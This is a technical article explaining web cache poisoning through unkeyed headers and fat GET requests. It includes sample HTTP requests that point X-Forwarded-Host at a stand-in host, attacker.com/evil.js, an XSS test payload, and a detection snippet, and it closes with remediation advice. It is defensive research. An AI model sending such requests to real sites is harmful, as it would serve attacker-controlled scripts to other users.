Web Cache Poisoning: Exploiting HTTP Implementation Discrepancies
Technical analysis of web cache poisoning attacks leveraging unkeyed headers and cache key normalization differences between proxies and origin servers.
Introduction
Web cache poisoning allows attackers to persistently serve malicious content to other users by exploiting discrepancies in how caches and origin servers interpret HTTP requests. First systematically documented by James Kettle at PortSwigger, this class of vulnerabilities affects major CDN and reverse proxy deployments.
Cache Key Fundamentals
Caches typically key responses on:
- Request method (GET)
- URL path and query string
- Host header
- Selected headers (Vary directive)
Unkeyed inputs — headers, cookies, or parameters not included in the cache key — become the attack surface.
flowchart LR
A[Attacker Request] --> B[CDN Cache]
B --> C{Cache Hit?}
C -->|No| D[Origin Server]
D --> B
B --> E[Victim receives poisoned response]
Identifying Unkeyed Headers
Using Param Miner (Burp Suite extension):
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-Original-URL: /admin
If the response reflects unkeyed header values, the target may be vulnerable.
Exploitation Example
Consider an application that includes the X-Forwarded-Host header in absolute URL generation but the CDN does not key on this header:
GET /static/app.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com/evil.js
If cached, subsequent users requesting /static/app.js receive JavaScript from attacker.com.
Fat GET Requests
Some caches key on URL but forward request body to origin:
GET /?cb=123 HTTP/1.1
Host: target.com
Content-Type: x-www-form-urlencoded
Content-Length: 30
param=<script>alert(1)</script>
If the origin reflects the body in the response and the cache stores it against the URL, XSS persists for all users.
Detection in Production
Monitor for:
- Unusual
Varyheader combinations in cached responses - Cache HIT responses containing attacker-controlled domains
- Spike in requests with uncommon headers (
X-Forwarded-Host,X-Host)
# Pseudo-detection logic
SUSPICIOUS_HEADERS = ['X-Forwarded-Host', 'X-Original-URL', 'X-Rewrite-URL']
def analyze_request(headers, cache_status):
if cache_status == 'HIT':
for h in SUSPICIOUS_HEADERS:
if h in headers:
alert(f"Cache HIT with unkeyed header: {h}")
Remediation
- Include all request components affecting responses in cache keys
- Normalize header handling between cache and origin
- Disable caching for dynamic content paths
- Implement
Cache-Control: no-storeon sensitive endpoints
References
Share this research
Related Research
Building Effective YARA Rules: From Strings to Production Detection
A practical framework for writing maintainable YARA rules that minimize false positives while catching real-world malware families.
CVE-2021-44228 Log4Shell: Root Cause, Exposure Mapping, and Detection
A real-world case study of Log4Shell, the Apache Log4j remote code execution vulnerability, with practical guidance for asset discovery, patching, and detection.